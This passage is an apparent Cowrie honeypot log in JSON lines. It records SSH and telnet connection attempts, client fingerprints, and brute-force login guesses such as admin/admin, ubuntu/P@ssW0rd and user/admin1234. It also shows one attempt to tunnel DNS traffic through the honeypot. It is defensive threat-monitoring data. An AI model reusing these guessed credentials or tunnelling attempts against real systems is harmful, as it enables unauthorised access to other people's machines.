ac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:00:30.633642Z","src_ip":"159.203.92.129","session":"081a39ef122e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aoi","password":"aoi123","message":"login attempt [aoi/aoi123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:00:30.695877Z","src_ip":"159.203.92.129","session":"081a39ef122e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:00:31.703987Z","src_ip":"159.203.92.129","session":"081a39ef122e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":37194,"dst_ip":"159.203.135.109","dst_port":23,"session":"090c8d958217","protocol":"telnet","message":"New connection: 185.26.126.47:37194 (159.203.135.109:23) [session: 090c8d958217]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:00:43.379699Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.252.223","src_port":57950,"dst_ip":"10.17.0.5","dst_port":22,"session":"84878c9fa0d9","protocol":"ssh","message":"New connection: 103.149.252.223:57950 (10.17.0.5:22) [session: 84878c9fa0d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:00:48.002840Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:00:48.008130Z","src_ip":"103.149.252.223","session":"84878c9fa0d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:00:48.011882Z","src_ip":"103.149.252.223","session":"84878c9fa0d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":35914,"dst_ip":"159.203.135.109","dst_port":22,"session":"1d3a73ecb8ec","protocol":"ssh","message":"New connection: 159.203.92.129:35914 (159.203.135.109:22) [session: 1d3a73ecb8ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:01:16.073940Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:01:16.077939Z","src_ip":"159.203.92.129","session":"1d3a73ecb8ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:01:16.082634Z","src_ip":"159.203.92.129","session":"1d3a73ecb8ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aoki","password":"aoki","message":"login attempt [aoki/aoki] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:01:16.091671Z","src_ip":"159.203.92.129","session":"1d3a73ecb8ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:01:17.097201Z","src_ip":"159.203.92.129","session":"1d3a73ecb8ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.03696632385254,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:01:23.416563Z","src_ip":"185.26.126.47","session":"090c8d958217","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.221.248","src_port":57610,"dst_ip":"159.203.135.109","dst_port":22,"session":"379e78d049a0","protocol":"ssh","message":"New connection: 69.6.221.248:57610 (159.203.135.109:22) [session: 379e78d049a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:01:43.045744Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:01:43.050038Z","src_ip":"69.6.221.248","session":"379e78d049a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:01:43.163536Z","src_ip":"69.6.221.248","session":"379e78d049a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"admin1234","message":"login attempt [user/admin1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:01:43.689349Z","src_ip":"69.6.221.248","session":"379e78d049a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:01:44.806480Z","src_ip":"69.6.221.248","session":"379e78d049a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":35094,"dst_ip":"159.203.135.109","dst_port":22,"session":"d8539d989b3b","protocol":"ssh","message":"New connection: 159.203.92.129:35094 (159.203.135.109:22) [session: d8539d989b3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:02:00.785563Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:02:00.790129Z","src_ip":"159.203.92.129","session":"d8539d989b3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:02:00.795857Z","src_ip":"159.203.92.129","session":"d8539d989b3b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aoko","password":"123","message":"login attempt [aoko/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:02:00.807097Z","src_ip":"159.203.92.129","session":"d8539d989b3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:02:01.812898Z","src_ip":"159.203.92.129","session":"d8539d989b3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":2794,"dst_ip":"10.17.0.5","dst_port":22,"session":"0a93730f59e0","protocol":"ssh","message":"New connection: 87.251.64.176:2794 (10.17.0.5:22) [session: 0a93730f59e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:02:42.120791Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:02:42.125549Z","src_ip":"87.251.64.176","session":"0a93730f59e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:02:42.222481Z","src_ip":"87.251.64.176","session":"0a93730f59e0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:02:42.513480Z","src_ip":"87.251.64.176","session":"0a93730f59e0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:02:42.612620Z","session":"0a93730f59e0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:02:42.710867Z","src_ip":"87.251.64.176","session":"0a93730f59e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:02:42.810656Z","src_ip":"87.251.64.176","session":"0a93730f59e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":39554,"dst_ip":"159.203.135.109","dst_port":22,"session":"8e7e06d8f3ed","protocol":"ssh","message":"New connection: 159.203.92.129:39554 (159.203.135.109:22) [session: 8e7e06d8f3ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:02:44.164911Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:02:44.170250Z","src_ip":"159.203.92.129","session":"8e7e06d8f3ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:02:44.175336Z","src_ip":"159.203.92.129","session":"8e7e06d8f3ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aoko","password":"123456","message":"login attempt [aoko/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:02:44.188294Z","src_ip":"159.203.92.129","session":"8e7e06d8f3ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:02:45.240770Z","src_ip":"159.203.92.129","session":"8e7e06d8f3ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.79.142.221","src_port":51298,"dst_ip":"10.17.0.5","dst_port":22,"session":"8912c2edf2e4","protocol":"ssh","message":"New connection: 210.79.142.221:51298 (10.17.0.5:22) [session: 8912c2edf2e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:03:09.475094Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:03:09.479869Z","src_ip":"210.79.142.221","session":"8912c2edf2e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:03:09.724481Z","src_ip":"210.79.142.221","session":"8912c2edf2e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"P@ssW0rd","message":"login attempt [ubuntu/P@ssW0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:03:10.729102Z","src_ip":"210.79.142.221","session":"8912c2edf2e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:03:11.975714Z","src_ip":"210.79.142.221","session":"8912c2edf2e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":49502,"dst_ip":"159.203.135.109","dst_port":22,"session":"d8957f69537f","protocol":"ssh","message":"New connection: 159.203.92.129:49502 (159.203.135.109:22) [session: d8957f69537f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:03:27.121704Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:03:27.126158Z","src_ip":"159.203.92.129","session":"d8957f69537f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-c